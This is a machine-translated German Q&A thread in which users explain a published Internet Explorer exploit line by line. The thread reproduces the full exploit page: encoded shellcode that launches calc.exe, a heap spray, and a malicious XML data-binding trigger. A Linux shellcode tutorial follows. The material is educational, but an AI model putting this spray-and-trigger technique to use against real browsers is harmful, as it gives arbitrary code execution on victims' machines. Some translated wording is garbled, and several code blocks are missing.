Normalerweise habe ich keine Schwierigkeiten, JavaScript-Code zu lesen, aber für diesen kann ich die Logik nicht herausfinden. Der Code stammt von einem Exploit, der vor 4 Tagen veröffentlicht wurde. Sie finden es bei milw0rm .
Hier ist der Code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Hier ist, was ich glaube, und ich möchte, dass Sie mir für den Teil helfen, den ich falsch verstehe.
Die Variable shellcode
enthält den Code zum Öffnen der calc.exe
. Ich verstehe nicht, wie sie diese seltsame Saite gefunden haben. Irgendeine Idee?
Das zweite ist die Variable spray
. Ich verstehe diese seltsame Schleife nicht.
Das dritte ist die Variable memory
, die nirgendwo verwendet wird. Warum schaffen sie es?
Letzte Sache: Was macht das XML-Tag auf der Seite?
Im Moment habe ich gute Antworten, aber meistens sehr allgemeine. Ich hätte gerne weitere Erklärungen zum Wert des Codes. Ein Beispiel ist unescape("%u0a0a%u0a0a");
. Was heißt das? Gleiches gilt für die Schleife: Warum hat der Entwickler geschrieben : length < 0xd0000
? Ich möchte ein tieferes Verständnis, nicht nur die Theorie dieses Codes.
quelle
Antworten:
Der Shellcode enthält einige x86-Montageanweisungen, die den eigentlichen Exploit ausführen.
spray
erstellt eine lange Folge von Anweisungen, die eingegeben werdenmemory
. Da wir normalerweise die genaue Position unseres Shellcodes im Speicher nicht herausfinden können, stellen wir vielenop
Anweisungen davor und springen irgendwohin. Dasmemory
Array enthält den tatsächlichen x86-Code zusammen mit dem Sprungmechanismus. Wir geben das gestaltete XML an die Bibliothek weiter, die einen Fehler aufweist. Wenn es analysiert wird, führt der Fehler dazu, dass das Befehlszeigerregister irgendwo in unserem Exploit zugewiesen wird, was zu einer willkürlichen Codeausführung führt.Um dies besser zu verstehen, sollten Sie tatsächlich herausfinden, was im x86-Code enthalten ist.
unscape
wird verwendet, um die Folge der von der Zeichenfolge dargestellten Bytes in diespray
Variable einzufügen. Es ist ein gültiger x86-Code, der einen großen Teil des Heaps ausfüllt und zum Anfang des Shellcodes springt. Der Grund für die Endbedingung sind die Einschränkungen der Zeichenfolgenlänge der Skript-Engine. Sie können keine Zeichenfolgen haben, die größer als eine bestimmte Länge sind.In x86-Assembly
0a0a
darstelltor cl, [edx]
. Dies ist praktisch gleichbedeutend mitnop
Anweisungen für die Zwecke unseres Exploits. Wo immer wir in die springenspray
, gelangen wir zur nächsten Anweisung, bis wir den Shellcode erreichen, der der Code ist, den wir tatsächlich ausführen möchten.Wenn Sie sich das XML ansehen, werden Sie sehen, dass
0x0a0a
es auch dort ist. Um genau zu beschreiben, was passiert, sind spezifische Kenntnisse über den Exploit erforderlich (Sie müssen wissen, wo sich der Fehler befindet und wie er ausgenutzt wird, was ich nicht weiß). Es scheint jedoch, dass wir Internet Explorer zwingen, den fehlerhaften Code auszulösen, indem wir dieinnerHtml
auf diese schädliche XML-Zeichenfolge setzen. Internet Explorer versucht, es zu analysieren, und der fehlerhafte Code gibt irgendwie die Kontrolle über einen Speicherort, an dem das Array vorhanden ist (da es sich um einen großen Block handelt, ist die Wahrscheinlichkeit, dorthin zu springen, hoch). Wenn wir dorthin springen, führt die CPUor cl, [edx]
Anweisungen weiter aus, bis der Anfang des im Speicher abgelegten Shellcodes erreicht ist.Ich habe den Shellcode zerlegt:
Um diesen Shellcode zu verstehen, sind Kenntnisse über x86-Assemblys und das Problem in der MS-Bibliothek selbst erforderlich (um zu wissen, wie der Systemstatus ist, wenn wir hier ankommen), nicht JavaScript! Dieser Code wird wiederum ausgeführt
calc.exe
.quelle
Dies scheint ein Exploit des jüngsten Internet Explorer-Fehlers zu sein , für den Microsoft den Notfall-Patch veröffentlicht hat. Es verwendet einen Fehler in der Datenbindungsfunktion des Microsoft XML-Handlers, der dazu führt, dass der Heapspeicher falsch freigegeben wird.
Shellcode ist Maschinencode, der ausgeführt wird, wenn der Fehler auftritt. Spray und Speicher sind nur ein Teil des auf dem Heap zugewiesenen Speicherplatzes, um den ausnutzbaren Zustand zu unterstützen.
quelle
Heap Spraying ist eine übliche Methode, um Browser-Inhalte auszunutzen. Wenn Sie sich dafür interessieren, finden Sie mehrere Beiträge wie diesen: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
quelle
Jedes Mal, wenn ich Speicher sehe, der in einer Exploit-Diskussion nicht angesprochen wird, ist mein erster Gedanke, dass der Exploit eine Art Pufferüberlauf ist. In diesem Fall verursacht der Speicher entweder einen Pufferüberlauf oder es wird auf ihn zugegriffen, sobald der Puffer überläuft .
quelle
Dies ist von Metasploit, das heißt, es wird einer der Metasploit-Shell-Codes verwendet. Es ist Open Source, sodass Sie es herunterladen können: http://www.metasploit.com/
quelle
Siehe Zeichenkodierungen in HTML .
Es handelt sich um Binärdaten, die als Zeichenfolge codiert sind und von JavaScript dekodiert werden.
Gemeinsame Form von XSS auch.
Sie können alle Codierungstricks hier sehen:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
quelle
Einfaches Shellcode-Beispiel
Hallo Welt in Assembly bei & t Syntax x86, glaube ich (Wizard in Training).
Richten Sie die Datei ein:
vim shellcodeExample.s
kompiliere wie folgt:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Jetzt haben Sie eine Binärdatei, die Hallo Welt druckt. Um die Binärdatei in Shell-Code umzuwandeln, geben Sie Folgendes ein:
objdump -D shellcode
Sie erhalten die Ausgabe:
Wenn Sie nun in die 4. Zeile mit Text schauen, sehen Sie:
400078: eb 1a jmp 0x400094
Der Teil, der sagt,
eb 1a
ist die hexadezimale Darstellung der Montageanweisungjmp one
wobei "Eins" die Speicheradresse Ihrer Zeichenfolge ist.Um Ihren Shellcode für die Ausführung vorzubereiten, öffnen Sie eine andere Textdatei und speichern Sie die Hex-Werte in einem Zeichenarray. Um den Shell-Code korrekt zu formatieren, geben Sie
\x
vor jedem Hex-Wert ein ein.Das bevorstehende Shell-Codebeispiel sieht gemäß der Ausgabe des Befehls objdump wie folgt aus:
In diesem Beispiel wird C für das Array verwendet. Jetzt haben Sie funktionierenden Shellcode, der in stdout "Hallo Welt" schreibt.
Sie können den Shell-Code testen, indem Sie ihn in eine Sicherheitsanfälligkeit einfügen, oder Sie können das folgende c-Programm schreiben, um ihn zu testen:
So kompilieren Sie das Programm:
Ausführen mit
./run
Sie wissen, dass Sie ein funktionierendes Beispiel für eine einfache Shellcode-Entwicklung haben, die in Linux Mint / Debian getestet wurde.quelle
int 0x80
32-Bit-ABI nicht in 64-Bit-Code. Es wird für Zeichenfolgen auf dem Stapel fehlschlagen, da der Kernel nur die niedrigen 32 Bits der Syscall-Argumente betrachtet. Was passiert, wenn Sie das 32-Bit-Linux-ABI int 0x80 in 64-Bit-Code verwenden? . (In diesem Fall würden Sie eine Endlosschleife erstellen, dasys_write
diese zurückkehren-EFAULT
undmov $1, %al
die oberen Bits gesetzt-ENOSYS
bleiben würde, sodass Sie anstelle von sys_exit erhalten). Außerdem können Sie im 64-Bit-Code einfachjmp
über die Zeichenfolge weiterleiten undlea
anstelle von call / pop einen RIP-Verwandten verwenden , um die Adresse abzurufen.const char payload[]
dann wäre, wäre es im Textsegment (im Abschnitt .rodata) und Sie würden es nicht brauchen-z execstack
.)movl 4, %rax
enthält einen Null - Byte (und wird nicht wegen der Operanden-size mismatch zubauen, und fehlt ein ,$
so dass die 4 ist eine absolute Adresse). Ich denke, Sie haben eine frühe Version Ihrer Quelle veröffentlicht. Meine früheren Kommentare stammen aus der Demontage, in der Sie einensys_exit
Anruf hinzugefügt haben .